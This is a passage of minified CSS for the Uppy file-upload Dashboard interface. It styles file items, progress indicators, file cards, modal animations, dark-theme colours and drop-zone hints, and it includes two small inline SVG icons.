.uppy-Dashboard-Item-progress{left:auto}[dir=rtl] .uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progress{right:auto}.uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progress{transform:none;top:-9px;width:auto}.uppy-Dashboard-Item.is-error .uppy-Dashboard-Item-progressIndicator{width:18px;height:18px}.uppy-size--md .uppy-Dashboard-Item.is-error .uppy-Dashboard-Item-progressIndicator{width:28px;height:28px}.uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progressIndicator{width:18px;height:18px;opacity:1}.uppy-size--md .uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progressIndicator{width:22px;height:22px}.uppy-Dashboard-Item.is-processing .uppy-Dashboard-Item-progress{opacity:0}[dir=ltr] .uppy-Dashboard-Item-fileInfo{padding-right:5px}[dir=rtl] .uppy-Dashboard-Item-fileInfo{padding-left:5px}.uppy-Dashboard-Item-fileInfo{-webkit-padding-end:5px}.uppy-Dashboard-Item-name{font-size:12px;line-height:1.3;font-weight:500;margin-bottom:5px;word-break:break-all;word-wrap:anywhere}[data-uppy-theme=dark] .uppy-Dashboard-Item-name{color:#eaeaea}.uppy-Dashboard-Item-status{font-size:11px;line-height:1;font-weight:400;color:#757575}[data-uppy-theme=dark] .uppy-Dashboard-Item-status{color:#bbb}.uppy-Dashboard-Item-statusSize{display:inline-block;vertical-align:bottom;text-transform:uppercase}.uppy-Dashboard-Item-reSelect{font-family:inherit;font-size:inherit;font-weight:600;color:#2275d7}.uppy-Dashboard-Item-action{cursor:pointer;color:#939393}.uppy-Dashboard-Item-action:focus{outline:none}.uppy-Dashboard-Item-action::-moz-focus-inner{border:0}.uppy-Dashboard-Item-action:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}.uppy-Dashboard-Item-action:hover{opacity:1;color:#1f1f1f}[data-uppy-theme=dark] .uppy-Dashboard-Item-action{color:#cfcfcf}[data-uppy-theme=dark] .uppy-Dashboard-Item-action:focus{outline:none}[data-uppy-theme=dark] .uppy-Dashboard-Item-action::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-Dashboard-Item-action:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}[data-uppy-theme=dark] .uppy-Dashboard-Item-action:hover{color:#eaeaea}.uppy-Dashboard-Item-action--remove{color:#1f1f1f;opacity:.95}.uppy-Dashboard-Item-action--remove:hover{opacity:1;color:#000}[data-uppy-theme=dark] .uppy-Dashboard-Item-action--remove{color:#525252}[data-uppy-theme=dark] .uppy-Dashboard-Item-action--remove:hover{color:#333}.uppy-Dashboard:not(.uppy-size--md) .uppy-Dashboard-Item-actionWrapper{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.uppy-Dashboard:not(.uppy-size--md) .uppy-Dashboard-Item-action{width:22px;height:22px;padding:3px;margin-left:3px}.uppy-Dashboard:not(.uppy-size--md) .uppy-Dashboard-Item-action:focus{border-radius:3px}.uppy-size--md .uppy-Dashboard-Item-action--copyLink,.uppy-size--md .uppy-Dashboard-Item-action--edit{width:16px;height:16px;padding:0}.uppy-size--md .uppy-Dashboard-Item-action--copyLink:focus,.uppy-size--md .uppy-Dashboard-Item-action--edit:focus{border-radius:3px}[dir=ltr] .uppy-size--md .uppy-Dashboard-Item-action--remove{right:-8px}[dir=rtl] .uppy-size--md .uppy-Dashboard-Item-action--remove{left:-8px}.uppy-size--md .uppy-Dashboard-Item-action--remove{z-index:1002;position:absolute;top:-8px;width:18px;height:18px;padding:0}.uppy-size--md .uppy-Dashboard-Item-action--remove:focus{border-radius:50%}[dir=ltr] .uppy-Dashboard-Item{padding-right:0}[dir=rtl] .uppy-Dashboard-Item{padding-left:0}.uppy-Dashboard-Item{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;border-bottom:1px solid #eaeaea;padding:10px;-webkit-padding-end:0}[data-uppy-theme=dark] .uppy-Dashboard-Item{border-bottom:1px solid #333}[dir=ltr] .uppy-size--md .uppy-Dashboard-Item{float:left}[dir=rtl] .uppy-size--md .uppy-Dashboard-Item{float:right}.uppy-size--md .uppy-Dashboard-Item{position:relative;display:block;margin:5px 15px;padding:0;width:calc(33.333% - 30px);height:215px;border-bottom:0}.uppy-size--lg .uppy-Dashboard-Item{margin:5px 15px;width:calc(25% - 30px);height:190px}.uppy-size--xl .uppy-Dashboard-Item{width:calc(20% - 30px);height:210px}.uppy-Dashboard-Item.is-ghost .uppy-Dashboard-Item-previewInnerWrap{opacity:.2}.uppy-Dashboard-Item.is-ghost .uppy-Dashboard-Item-name{opacity:.7}.uppy-Dashboard-Item.is-ghost .uppy-Dashboard-Item-preview:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='35' height='39'%3E%3Cpath d='M1.708 38.66c1.709 0 3.417-3.417 6.834-3.417 3.416 0 5.125 3.417 8.61 3.417 3.348 0 5.056-3.417 8.473-3.417 4.305 0 5.125 3.417 6.833 3.417.889 0 1.709-.889 1.709-1.709v-19.68C34.167-5.757 0-5.757 0 17.271v19.68c0 .82.888 1.709 1.708 1.709zm8.542-17.084a3.383 3.383 0 01-3.417-3.416 3.383 3.383 0 013.417-3.417 3.383 3.383 0 013.417 3.417 3.383 3.383 0 01-3.417 3.416zm13.667 0A3.383 3.383 0 0120.5 18.16a3.383 3.383 0 013.417-3.417 3.383 3.383 0 013.416 3.417 3.383 3.383 0 01-3.416 3.416z' fill='%2523000'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:50% 10px;background-size:25px;z-index:1005;opacity:.5}.uppy-size--md .uppy-Dashboard-Item.is-ghost .uppy-Dashboard-Item-preview:before{background-size:40px;background-position:50% 50%}.uppy-Dashboard-Item-preview{position:relative}.uppy-Dashboard:not(.uppy-size--md) .uppy-Dashboard-Item-preview{-ms-flex-negative:0;flex-shrink:0;-ms-flex-positive:0;flex-grow:0;width:50px;height:50px}.uppy-size--md .uppy-Dashboard-Item-preview{width:100%;height:140px}.uppy-size--lg .uppy-Dashboard-Item-preview{height:120px}.uppy-size--xl .uppy-Dashboard-Item-preview{height:140px}[dir=ltr] .uppy-Dashboard-Item-fileInfoAndButtons{padding-right:8px}[dir=rtl] .uppy-Dashboard-Item-fileInfoAndButtons{padding-left:8px}[dir=ltr] .uppy-Dashboard-Item-fileInfoAndButtons{padding-left:12px}[dir=rtl] .uppy-Dashboard-Item-fileInfoAndButtons{padding-right:12px}.uppy-Dashboard-Item-fileInfoAndButtons{-ms-flex-positive:1;flex-grow:1;-webkit-padding-end:8px;-webkit-padding-start:12px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.uppy-size--md .uppy-Dashboard-Item-fileInfoAndButtons{-ms-flex-align:start;align-items:flex-start;width:100%;padding:9px 0 0}.uppy-Dashboard-Item-fileInfo{-ms-flex-positive:1;flex-grow:1;-ms-flex-negative:1;flex-shrink:1}.uppy-Dashboard-Item-actionWrapper{-ms-flex-positive:0;flex-grow:0;-ms-flex-negative:0;flex-shrink:0}.uppy-Dashboard-Item.is-error .uppy-Dashboard-Item-previewInnerWrap:after,.uppy-Dashboard-Item.is-inprogress .uppy-Dashboard-Item-previewInnerWrap:after{display:block}.uppy-Dashboard-Item.is-inprogress:not(.is-resumable) .uppy-Dashboard-Item-action--remove{display:none}[dir=ltr] .uppy-Dashboard-Item-errorDetails{left:6px}[dir=rtl] .uppy-Dashboard-Item-errorDetails{right:6px}.uppy-Dashboard-Item-errorDetails{line-height:12px;width:12px;height:12px;display:inline-block;vertical-align:middle;color:#fff;background-color:#939393;border-radius:50%;position:relative;top:-1px;font-size:8px;font-weight:600;text-align:center;cursor:help}.uppy-Dashboard-Item-errorDetails:after{line-height:1.3;word-wrap:break-word}.uppy-Dashboard-FileCard{width:100%;height:100%;position:absolute;top:0;left:0;right:0;bottom:0;z-index:1005;box-shadow:0 0 10px 4px rgba(0,0,0,.1);background-color:#fff;border-radius:5px;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.uppy-Dashboard-FileCard .uppy-DashboardContent-bar{border-top-left-radius:5px;border-top-right-radius:5px}.uppy-Dashboard-FileCard .uppy-Dashboard-FileCard-actions{border-bottom-left-radius:5px;border-bottom-right-radius:5px}.uppy-Dashboard-FileCard-inner{height:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-direction:column;flex-direction:column}.uppy-Dashboard-FileCard-inner,.uppy-Dashboard-FileCard-preview{-ms-flex-negative:1;flex-shrink:1;min-height:0;display:-ms-flexbox;display:flex}.uppy-Dashboard-FileCard-preview{height:60%;-ms-flex-positive:0;flex-grow:0;border-bottom:1px solid #eaeaea;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;position:relative}[data-uppy-theme=dark] .uppy-Dashboard-FileCard-preview{background-color:#333;border-bottom:0}.uppy-Dashboard-FileCard-preview img.uppy-Dashboard-Item-previewImg{max-width:90%;max-height:90%;object-fit:cover;-ms-flex:0 0 auto;flex:0 0 auto;border-radius:3px;box-shadow:0 3px 20px rgba(0,0,0,.15)}[dir=ltr] .uppy-Dashboard-FileCard-edit{right:10px}[dir=rtl] .uppy-Dashboard-FileCard-edit{left:10px}.uppy-Dashboard-FileCard-edit{position:absolute;top:10px;font-size:13px;background-color:rgba(0,0,0,.5);color:#fff;padding:7px 15px;border-radius:50px}.uppy-Dashboard-FileCard-edit:focus{outline:none}.uppy-Dashboard-FileCard-edit::-moz-focus-inner{border:0}.uppy-Dashboard-FileCard-edit:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}.uppy-Dashboard-FileCard-edit:hover{background-color:rgba(0,0,0,.8)}.uppy-Dashboard-FileCard-info{height:40%;-ms-flex-positive:0;flex-grow:0;-ms-flex-negative:0;flex-shrink:0;padding:30px 20px 20px;overflow-y:auto;-webkit-overflow-scrolling:touch}[data-uppy-theme=dark] .uppy-Dashboard-FileCard-info{background-color:#1f1f1f}.uppy-Dashboard-FileCard-fieldset{font-size:0;border:0;padding:0;max-width:640px;margin:auto auto 12px}.uppy-Dashboard-FileCard-label{display:inline-block;vertical-align:middle;width:22%;font-size:12px;color:#525252}.uppy-size--md .uppy-Dashboard-FileCard-label{font-size:14px}[data-uppy-theme=dark] .uppy-Dashboard-FileCard-label{color:#eaeaea}.uppy-Dashboard-FileCard-input{display:inline-block;vertical-align:middle;width:78%}.uppy-Dashboard-FileCard-actions{height:55px;-ms-flex-negative:0;flex-shrink:0;-ms-flex-positive:0;flex-grow:0;border-top:1px solid #eaeaea;padding:0 15px;background-color:#fafafa;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.uppy-size--md .uppy-Dashboard-FileCard-actions{height:65px}[data-uppy-theme=dark] .uppy-Dashboard-FileCard-actions{border-top:1px solid #333;background-color:#1f1f1f}[dir=ltr] .uppy-Dashboard-FileCard-actionsBtn{margin-right:10px}[dir=rtl] .uppy-Dashboard-FileCard-actionsBtn{margin-left:10px}.uppy-Dashboard-FileCard-actionsBtn{-webkit-margin-end:10px}.uppy-transition-slideDownUp-enter{opacity:.01;transform:translate3d(0,-105%,0);transition:transform .25s ease-in-out,opacity .25s ease-in-out}.uppy-transition-slideDownUp-enter.uppy-transition-slideDownUp-enter-active{opacity:1;transform:translateZ(0)}.uppy-transition-slideDownUp-leave{opacity:1;transform:translateZ(0);transition:transform .25s ease-in-out,opacity .25s ease-in-out}.uppy-transition-slideDownUp-leave.uppy-transition-slideDownUp-leave-active{opacity:.01;transform:translate3d(0,-105%,0)}@keyframes uppy-Dashboard-fadeIn{0%{opacity:0}to{opacity:1}}@keyframes uppy-Dashboard-fadeOut{0%{opacity:1}to{opacity:0}}@keyframes uppy-Dashboard-slideDownAndFadeIn{0%{transform:translate3d(-50%,-70%,0);opacity:0}to{transform:translate3d(-50%,-50%,0);opacity:1}}@keyframes uppy-Dashboard-slideDownAndFadeIn--small{0%{transform:translate3d(0,-20%,0);opacity:0}to{transform:translateZ(0);opacity:1}}@keyframes uppy-Dashboard-slideUpFadeOut{0%{transform:translate3d(-50%,-50%,0);opacity:1}to{transform:translate3d(-50%,-70%,0);opacity:0}}@keyframes uppy-Dashboard-slideUpFadeOut--small{0%{transform:translateZ(0);opacity:1}to{transform:translate3d(0,-20%,0);opacity:0}}.uppy-Dashboard--modal{z-index:1001}.uppy-Dashboard--modal[aria-hidden=true]{display:none}.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose>.uppy-Dashboard-inner{animation:uppy-Dashboard-slideDownAndFadeIn--small .3s cubic-bezier(0,0,.2,1)}@media only screen and (min-width:820px){.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose>.uppy-Dashboard-inner{animation:uppy-Dashboard-slideDownAndFadeIn .3s cubic-bezier(0,0,.2,1)}}.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose>.uppy-Dashboard-overlay{animation:uppy-Dashboard-fadeIn .3s cubic-bezier(0,0,.2,1)}.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose.uppy-Dashboard--isClosing>.uppy-Dashboard-inner{animation:uppy-Dashboard-slideUpFadeOut--small .3s cubic-bezier(0,0,.2,1)}@media only screen and (min-width:820px){.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose.uppy-Dashboard--isClosing>.uppy-Dashboard-inner{animation:uppy-Dashboard-slideUpFadeOut .3s cubic-bezier(0,0,.2,1)}}.uppy-Dashboard--modal.uppy-Dashboard--animateOpenClose.uppy-Dashboard--isClosing>.uppy-Dashboard-overlay{animation:uppy-Dashboard-fadeOut .3s cubic-bezier(0,0,.2,1)}.uppy-Dashboard-isFixed{overflow:hidden;height:100vh}.uppy-Dashboard--modal .uppy-Dashboard-overlay{position:fixed;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,.5);z-index:1001}.uppy-Dashboard-inner{position:relative;background-color:#fafafa;max-width:100%;max-height:100%;outline:none;border:1px solid #eaeaea;border-radius:5px}.uppy-size--md .uppy-Dashboard-inner{min-height:auto}@media only screen and (min-width:820px){.uppy-Dashboard-inner{width:750px;height:550px}}.uppy-Dashboard--modal .uppy-Dashboard-inner{z-index:1002}[data-uppy-theme=dark] .uppy-Dashboard-inner{background-color:#1f1f1f}.uppy-Dashboard--isDisabled .uppy-Dashboard-inner{cursor:not-allowed}.uppy-Dashboard-innerWrap{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;height:100%;overflow:hidden;position:relative;border-radius:5px;opacity:0}.uppy-Dashboard--isInnerWrapVisible .uppy-Dashboard-innerWrap{opacity:1}.uppy-Dashboard--isDisabled .uppy-Dashboard-innerWrap{pointer-events:none;opacity:.6;filter:grayscale(100%);-webkit-user-select:none;-ms-user-select:none;user-select:none}.uppy-Dashboard--isDisabled .uppy-ProviderIconBg{fill:#9f9f9f}.uppy-Dashboard--modal .uppy-Dashboard-inner{position:fixed;top:35px;left:15px;right:15px;bottom:15px;border:none}@media only screen and (min-width:820px){.uppy-Dashboard--modal .uppy-Dashboard-inner{top:50%;left:50%;right:auto;transform:translate(-50%,-50%);box-shadow:0 5px 15px 4px rgba(0,0,0,.15)}}[dir=ltr] .uppy-Dashboard-close{right:-2px}[dir=rtl] .uppy-Dashboard-close{left:-2px}.uppy-Dashboard-close{display:block;position:absolute;top:-33px;cursor:pointer;color:hsla(0,0%,100%,.9);font-size:27px;z-index:1005}.uppy-Dashboard-close:focus{outline:none}.uppy-Dashboard-close::-moz-focus-inner{border:0}.uppy-Dashboard-close:focus{color:#8cb8ed}@media only screen and (min-width:820px){[dir=ltr] .uppy-Dashboard-close{right:-35px}[dir=rtl] .uppy-Dashboard-close{left:-35px}.uppy-Dashboard-close{font-size:35px;top:-10px}}.uppy-Dashboard-serviceMsg{background-color:#fffbf7;border-top:1px solid #edd4b9;border-bottom:1px solid #edd4b9;font-size:12px;line-height:1.3;font-weight:500;padding:12px 0;position:relative;top:-1px;z-index:1004}.uppy-size--md .uppy-Dashboard-serviceMsg{font-size:14px;line-height:1.4}[data-uppy-theme=dark] .uppy-Dashboard-serviceMsg{background-color:#1f1f1f;color:#eaeaea;border-top:1px solid #333;border-bottom:1px solid #333}.uppy-Dashboard-serviceMsg-title{display:block;margin-bottom:4px;padding-left:42px;line-height:1}.uppy-Dashboard-serviceMsg-text{padding:0 15px}.uppy-Dashboard-serviceMsg-actionBtn{font-size:inherit;font-weight:inherit;vertical-align:initial;color:#2275d7}[data-uppy-theme=dark] .uppy-Dashboard-serviceMsg-actionBtn{color:rgba(2,186,242,.9)}.uppy-Dashboard-serviceMsg-icon{position:absolute;top:10px;left:15px}.uppy-Dashboard-AddFiles{display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex-direction:column;flex-direction:column;height:100%;position:relative;text-align:center}[data-uppy-drag-drop-supported=true] .uppy-Dashboard-AddFiles{margin:7px;height:calc(100% - 14px);border-radius:3px;border:1px dashed #dfdfdf}.uppy-Dashboard-AddFilesPanel .uppy-Dashboard-AddFiles{border:none;height:calc(100% - 54px)}.uppy-Dashboard--modal .uppy-Dashboard-AddFiles{border-color:#cfcfcf}[data-uppy-theme=dark] .uppy-Dashboard-AddFiles{border-color:#757575}.uppy-Dashboard-AddFiles-info{padding-top:15px;padding-bottom:15px;margin-top:auto;display:none}.uppy-size--height-md .uppy-Dashboard-AddFiles-info{display:block}.uppy-size--md .uppy-Dashboard-AddFiles-info{position:absolute;bottom:25px;left:0;right:0;padding-top:30px;padding-bottom:0}[data-uppy-num-acquirers="0"] .uppy-Dashboard-AddFiles-info{margin-top:0}.uppy-Dashboard-browse{cursor:pointer;color:rgba(34,117,215,.9)}.uppy-Dashboard-browse:focus{outline:none}.uppy-Dashboard-browse::-moz-focus-inner{border:0}.uppy-Dashboard-browse:focus,.uppy-Dashboard-browse:hover{border-bottom:1px solid #2275d7}[data-uppy-theme=dark] .uppy-Dashboard-browse{color:rgba(2,186,242,.9)}[data-uppy-theme=dark] .uppy-Dashboard-browse:focus,[data-uppy-theme=dark] .uppy-Dashboard-browse:hover{border-bottom:1px solid #02baf2}.uppy-Dashboard-browseBtn{display:block;font-size:14px;font-weight:500;margin-top:8px;margin-bottom:5px;width:100%}.uppy-size--md .uppy-Dashboard-browseBtn{font-size:15px;width:auto;margin:15px auto;padding:13px 44px}.uppy-Dashboard-AddFiles-list{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex:1;flex:1;overflow-y:auto;-webkit-overflow-scrolling:touch;margin-top:2px;padding:2px 0;width:100%}.uppy-size--md .uppy-Dashboard-AddFiles-list{-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:center;justify-content:center;max-width:600px;overflow-y:visible;margin-top:15px;padding-top:0;-ms-flex:none;flex:none}.uppy-DashboardTab{width:100%;text-align:center;border-bottom:1px solid #eaeaea}[data-uppy-theme=dark] .uppy-DashboardTab{border-bottom:1px solid #333}.uppy-size--md .uppy-DashboardTab{display:inline-block;width:auto;margin-bottom:10px;border-bottom:none}.uppy-DashboardTab-btn{width:100%;height:100%;cursor:pointer;background-color:transparent;-webkit-appearance:none;appearance:none;color:#525252;display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;-ms-flex-align:center;align-items:center;padding:12px 15px}.uppy-DashboardTab-btn:focus{outline:none}[dir=ltr] .uppy-size--md .uppy-DashboardTab-btn{margin-right:1px}[dir=rtl] .uppy-size--md .uppy-DashboardTab-btn{margin-left:1px}.uppy-size--md .uppy-DashboardTab-btn{width:86px;-webkit-margin-end:1px;-ms-flex-direction:column;flex-direction:column;padding:10px 3px;border-radius:5px}[data-uppy-theme=dark] .uppy-DashboardTab-btn{color:#eaeaea}.uppy-DashboardTab-btn::-moz-focus-inner{border:0}.uppy-DashboardTab-btn:hover{background-color:#f1f3f6}[data-uppy-theme=dark] .uppy-DashboardTab-btn:hover{background-color:#333}.uppy-DashboardTab-btn:active,.uppy-DashboardTab-btn:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-DashboardTab-btn:active,[data-uppy-theme=dark] .uppy-DashboardTab-btn:focus{background-color:#525252}[dir=ltr] .uppy-DashboardTab-btn svg{margin-right:10px}[dir=rtl] .uppy-DashboardTab-btn svg{margin-left:10px}.uppy-DashboardTab-btn svg{max-width:100%;max-height:100%;display:inline-block;vertical-align:text-top;overflow:hidden;transition:transform .15s ease-in-out;-webkit-margin-end:10px}[dir=ltr] .uppy-size--md .uppy-DashboardTab-btn svg{margin-right:0}[dir=rtl] .uppy-size--md .uppy-DashboardTab-btn svg{margin-left:0}.uppy-size--md .uppy-DashboardTab-btn svg{-webkit-margin-end:0}.uppy-DashboardTab-name{font-size:14px;font-weight:500}.uppy-size--md .uppy-DashboardTab-name{font-size:11px;line-height:15px;margin-top:8px;margin-bottom:0}.uppy-DashboardTab svg{width:23px;height:23px;vertical-align:middle}.uppy-size--md .uppy-DashboardTab svg{width:30px;height:30px}.uppy-Dashboard-input{width:.1px;height:.1px;opacity:0;overflow:hidden;position:absolute;z-index:-1}.uppy-DashboardContent-bar{-ms-flex-negative:0;flex-shrink:0;height:40px;width:100%;padding:0 10px;z-index:1004;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;position:relative;border-bottom:1px solid #eaeaea;background-color:#fafafa}.uppy-size--md .uppy-DashboardContent-bar{height:50px;padding:0 15px}[data-uppy-theme=dark] .uppy-DashboardContent-bar{background-color:#1f1f1f;border-bottom:1px solid #333}.uppy-DashboardContent-title{position:absolute;top:0;left:0;right:0;text-align:center;font-size:12px;line-height:40px;font-weight:500;width:100%;max-width:170px;text-overflow:ellipsis;white-space:nowrap;overflow-x:hidden;margin:auto}.uppy-size--md .uppy-DashboardContent-title{font-size:14px;line-height:50px;max-width:300px}[data-uppy-theme=dark] .uppy-DashboardContent-title{color:#eaeaea}[dir=ltr] .uppy-DashboardContent-back,[dir=ltr] .uppy-DashboardContent-save{margin-left:-6px}[dir=rtl] .uppy-DashboardContent-back,[dir=rtl] .uppy-DashboardContent-save{margin-right:-6px}.uppy-DashboardContent-back,.uppy-DashboardContent-save{background:none;-webkit-appearance:none;font-family:inherit;font-size:inherit;line-height:1;margin:0;border:0;color:inherit;border-radius:3px;font-size:12px;font-weight:400;cursor:pointer;color:#2275d7;padding:7px 6px;-webkit-margin-start:-6px}.uppy-DashboardContent-back:focus,.uppy-DashboardContent-save:focus{outline:none}.uppy-DashboardContent-back::-moz-focus-inner,.uppy-DashboardContent-save::-moz-focus-inner{border:0}.uppy-DashboardContent-back:hover,.uppy-DashboardContent-save:hover{color:#1b5dab}.uppy-DashboardContent-back:focus,.uppy-DashboardContent-save:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-DashboardContent-back:focus,[data-uppy-theme=dark] .uppy-DashboardContent-save:focus{background-color:#333}.uppy-size--md .uppy-DashboardContent-back,.uppy-size--md .uppy-DashboardContent-save{font-size:14px}[data-uppy-theme=dark] .uppy-DashboardContent-back,[data-uppy-theme=dark] .uppy-DashboardContent-save{color:#02baf2}[dir=ltr] .uppy-DashboardContent-addMore{margin-right:-5px}[dir=rtl] .uppy-DashboardContent-addMore{margin-left:-5px}.uppy-DashboardContent-addMore{background:none;-webkit-appearance:none;font-family:inherit;font-size:inherit;line-height:1;margin:0;border:0;color:inherit;border-radius:3px;font-weight:500;cursor:pointer;color:#2275d7;width:29px;height:29px;padding:7px 8px;-webkit-margin-end:-5px}.uppy-DashboardContent-addMore:focus{outline:none}.uppy-DashboardContent-addMore::-moz-focus-inner{border:0}.uppy-DashboardContent-addMore:hover{color:#1b5dab}.uppy-DashboardContent-addMore:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-DashboardContent-addMore:focus{background-color:#333}[dir=ltr] .uppy-size--md .uppy-DashboardContent-addMore{margin-right:-8px}[dir=rtl] .uppy-size--md .uppy-DashboardContent-addMore{margin-left:-8px}.uppy-size--md .uppy-DashboardContent-addMore{font-size:14px;width:auto;height:auto;-webkit-margin-end:-8px}[data-uppy-theme=dark] .uppy-DashboardContent-addMore{color:#02baf2}[dir=ltr] .uppy-DashboardContent-addMore svg{margin-right:4px}[dir=rtl] .uppy-DashboardContent-addMore svg{margin-left:4px}.uppy-DashboardContent-addMore svg{vertical-align:baseline;-webkit-margin-end:4px}.uppy-size--md .uppy-DashboardContent-addMore svg{width:11px;height:11px}.uppy-DashboardContent-addMoreCaption{display:none}.uppy-size--md .uppy-DashboardContent-addMoreCaption{display:inline}.uppy-DashboardContent-panel{background-color:#f5f5f5;-ms-flex-direction:column;flex-direction:column;-ms-flex:1;flex:1}.uppy-Dashboard-AddFilesPanel,.uppy-DashboardContent-panel{position:absolute;top:0;bottom:0;left:0;right:0;overflow:hidden;z-index:1005;border-radius:5px;display:-ms-flexbox;display:flex}.uppy-Dashboard-AddFilesPanel{background:#fafafa;background:linear-gradient(0deg,#fafafa 35%,hsla(0,0%,98%,.85));box-shadow:0 0 10px 5px rgba(0,0,0,.15);-ms-flex-direction:column;flex-direction:column}[data-uppy-theme=dark] .uppy-Dashboard-AddFilesPanel{background-color:#333;background:linear-gradient(0deg,#1f1f1f 35%,rgba(31,31,31,.85))}.uppy-Dashboard--isAddFilesPanelVisible .uppy-Dashboard-files{filter:blur(2px)}.uppy-Dashboard-progress{position:absolute;bottom:0;left:0;width:100%;height:12%}.uppy-Dashboard-progressBarContainer.is-active{z-index:1004;position:absolute;top:0;left:0;width:100%;height:100%}.uppy-Dashboard:not(.uppy-size--md) .uppy-StatusBar-additionalInfo{display:none}.uppy-Dashboard-filesContainer{position:relative;overflow-y:hidden;margin:0;-ms-flex:1;flex:1}.uppy-Dashboard-filesContainer:after{content:"";display:table;clear:both}.uppy-Dashboard-files{margin:0;padding:0 0 10px;overflow-y:auto;-webkit-overflow-scrolling:touch;-ms-flex:1;flex:1}.uppy-size--md .uppy-Dashboard-files{padding-top:10px}.uppy-Dashboard-dropFilesHereHint{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;visibility:hidden;position:absolute;top:7px;right:7px;bottom:7px;left:7px;padding-top:90px;border:1px dashed #2275d7;border-radius:3px;z-index:2000;text-align:center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg width='48' height='48' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M24 1v1C11.85 2 2 11.85 2 24s9.85 22 22 22 22-9.85 22-22S36.15 2 24 2V1zm0 0V0c13.254 0 24 10.746 24 24S37.254 48 24 48 0 37.254 0 24 10.746 0 24 0v1zm7.707 19.293a.999.999 0 11-1.414 1.414L25 16.414V34a1 1 0 11-2 0V16.414l-5.293 5.293a.999.999 0 11-1.414-1.414l7-7a.999.999 0 011.414 0l7 7z' fill='%232275D7'/%3E%3C/svg%3E");background-position:50% 50%;background-repeat:no-repeat;color:#757575;font-size:16px}[data-uppy-theme=dark] .uppy-Dashboard-dropFilesHereHint{color:#bbb;border-color:#02baf2;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg width='48' height='48' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M24 1v1C11.85 2 2 11.85 2 24s9.85 22 22 22 22-9.85 22-22S36.15 2 24 2V1zm0 0V0c13.254 0 24 10.746 24 24S37.254 48 24 48 0 37.254 0 24 10.746 0 24 0v1zm7.707 19.293a.999.999 0 11-1.414 1.414L25 16.414V34a1 1 0 11-2 0V16.414l-5.293 5.293a.999.999 0 11-1.414-1.414l7-7a.999.999 0 011.414 0l7 7z' fill='%2302BAF2'/%3E%3C/svg%3E")}.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-Dashboard-dropFilesHereHint{visibility:visible}.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-Dashboard-files,.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-Dashboard-progressindicators,.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-Dashboard-serviceMsg,.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-DashboardContent-bar{opacity:.15}.uppy-Dashboard.uppy-Dashboard--isDraggingOver .uppy-Dashboard-AddFiles{opacity:.03}.uppy-Dashboard-AddFiles-title{font-size:17px;line-height:1.35;font-weight:500;color:#000;margin-top:15px;margin-bottom:5px;text-align:inline-start;padding:0 15px;width:100%}.uppy-size--md .uppy-Dashboard-AddFiles-title{font-size:25px;margin-top:5px;font-weight:400;text-align:center;max-width:480px}[data-uppy-num-acquirers="0"] .uppy-Dashboard-AddFiles-title{text-align:center}[data-uppy-theme=dark] .uppy-Dashboard-AddFiles-title{color:#eaeaea}.uppy-Dashboard-AddFiles-title button{font-weight:500}.uppy-size--md .uppy-Dashboard-AddFiles-title button{font-weight:400}.uppy-Dashboard-note{font-size:14px;line-height:1.25;text-align:center;color:#757575;max-width:350px;margin:auto;padding:0 15px}.uppy-size--md .uppy-Dashboard-note{font-size:15px;line-height:1.35;max-width:600px}[data-uppy-theme=dark] .uppy-Dashboard-note{color:#cfcfcf}a.uppy-Dashboard-poweredBy{display:inline-block;text-align:center;font-size:11px;color:#939393;text-decoration:none;margin-top:8px}.uppy-Dashboard-poweredByIcon{stroke:#939393;fill:none;margin-left:1px;margin-right:1px;position:relative;top:1px;opacity:.9;vertical-align:text-top}.uppy-Dashboard-Item-previewIcon{width:25px;height:25px;z-index:100;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.uppy-size--md .uppy-Dashboard-Item-previewIcon{width:38px;height:38px}.uppy-Dashboard-Item-previewIcon 